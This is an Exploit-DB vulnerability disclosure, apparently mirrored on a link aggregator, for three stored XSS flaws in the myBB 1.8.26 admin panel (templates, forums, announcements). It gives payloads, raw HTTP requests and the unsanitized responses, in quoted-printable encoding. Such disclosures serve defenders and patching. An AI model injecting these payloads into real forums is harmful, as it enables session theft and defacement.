![](/style/images/good.png)
4
![](/style/images/bad.png)
[webapps] myBB forums 1.8.26 - Stored Cross-Site Scripting (XSS)
source link: https://www.exploit-db.com/exploits/51136
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
myBB forums 1.8.26 - Stored Cross-Site Scripting (XSS)
# Exploit Title: myBB forums 1.8.26 - Stored Cross-Site Scripting (XSS)
# Exploit Author: Andrey Stoykov
# Software Link: https://mybb.com/versions/1.8.26/
# Version: 1.8.26
# Tested on: Ubuntu 20.04
Stored XSS #1:
To reproduce do the following:
1. Login as administrator user
2. Browse to "Templates and Style" -> "Templates" -> "Manage Templates" -> =
"Global Templates"=20
3. Select "Add New Template" and enter payload "><img src=3Dx onerror=3Dale=
rt(1)>
// HTTP POST request showing XSS payload
POST /mybb_1826/admin/index.php?module=3Dstyle-templates&action=3Dedit_temp=
late HTTP/1.1
Host: 192.168.139.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
101 Firefox/106.0
[...]
my_post_key=3D60dcf2a0bf3090dbd2c33cd18733dc4c&title=3D"><img+src=3Dx+onerr=
or=3Dalert(1)>&sid=3D-1&template=3D&continue=3DSave+and+Continue+Editing
// HTTP redirect response to specific template
HTTP/1.1 302 Found
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
erl/v5.16.3
Location: index.php?module=3Dstyle-templates&action=3Dedit_template&title=
=3D%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&sid=3D-1
[...]
// HTTP GET request to newly created template
GET /mybb_1826/admin/index.php?module=3Dstyle-templates&sid=3D-1 HTTP/1.1
Host: 192.168.139.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
101 Firefox/106.0
[...]
// HTTP response showing unsanitized XSS payload
HTTP/1.1 200 OK
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
erl/v5.16.3
X-Powered-By: PHP/5.6.40
[...]
<tr class=3D"first">
<td class=3D"first"><a href=3D"index.php?module=3Dstyle-templates&actio=
n=3Dedit_template&title=3D%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3=
E&sid=3D-1">"><img src=3Dx onerror=3Dalert(1)></a></td>
[...]
Stored XSS #2:
To reproduce do the following:
1. Login as administrator user
2. Browse to "Forums and Posts" -> "Forum Management"
3. Select "Add New Forum" and enter payload "><script>alert(1)</script>
// HTTP POST request showing XSS payload
POST /mybb_1826/admin/index.php?module=3Dforum-management&action=3Dadd HTTP=
/1.1
Host: 192.168.139.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
101 Firefox/106.0
[...]
my_post_key=3D60dcf2a0bf3090dbd2c33cd18733dc4c&type=3Df&title=3D"><script>a=
lert(1)</script>&description=3D"><script>alert(2)</script[...]
// HTTP response showing successfully added a new forum
HTTP/1.1 200 OK
Date: Sun, 20 Nov 2022 11:00:28 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
erl/v5.16.3
[...]
// HTTP GET request to fetch forums
GET /mybb_1826/admin/index.php?module=3Dforum-management HTTP/1.1
Host: 192.168.139.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
101 Firefox/106.0
[...]
// HTTP response showing unsanitized XSS payload
HTTP/1.1 200 OK
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
erl/v5.16.3
[...]
<small>Sub Forums: <a href=3D"index.php?module=3Dforum-management&fid=
=3D3">"><script>alert(1)</script></a></small>
Stored XSS #3:
To reproduce do the following:
1. Login as administrator user
2. Browse to "Forums and Posts" -> "Forum Announcements"
3. Select "Add Announcement" and enter payload "><img+src=3Dx+onerror=3Dale=
rt(1)>
// HTTP POST request showing XSS payload
POST /mybb_1826/admin/index.php?module=3Dforum-announcements&action=3Dadd H=
TTP/1.1
Host: 192.168.139.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
101 Firefox/106.0
[...]
my_post_key=3D60dcf2a0bf3090dbd2c33cd18733dc4c&title=3D"><img+src=3Dx+onerr=
or=3Dalert(1)>&starttime_day=3D20&starttime_month=3D11&starttime_year=3D202=
2&starttime_time=3D11:05+AM&endtime_day=3D20&endtime_month=3D11&endtime_yea=
r=3D2023&endtime_time=3D11:05+AM&endtime_type=3D2&message=3D"><script>alert=
(2)</script>&fid=3D2&allowmycode=3D1&allowsmilies=3D1
// HTTP response showing successfully added an anouncement
HTTP/1.1 302 Found
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
erl/v5.16.3
[...]
// HTTP GET request to fetch forum URL
GET /mybb_1826/ HTTP/1.1
Host: 192.168.139.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
101 Firefox/106.0
[...]
// HTTP response showing unsanitized XSS payload
HTTP/1.1 200 OK
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
erl/v5.16.3
[...]
<a href=3D"forumdisplay.php?fid=3D3" title=3D"">"><script>alert(1)</script>=
</a>
--sgnirk-590ebdc0-1da1-4f35-a731-39a2519b1c0d--
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK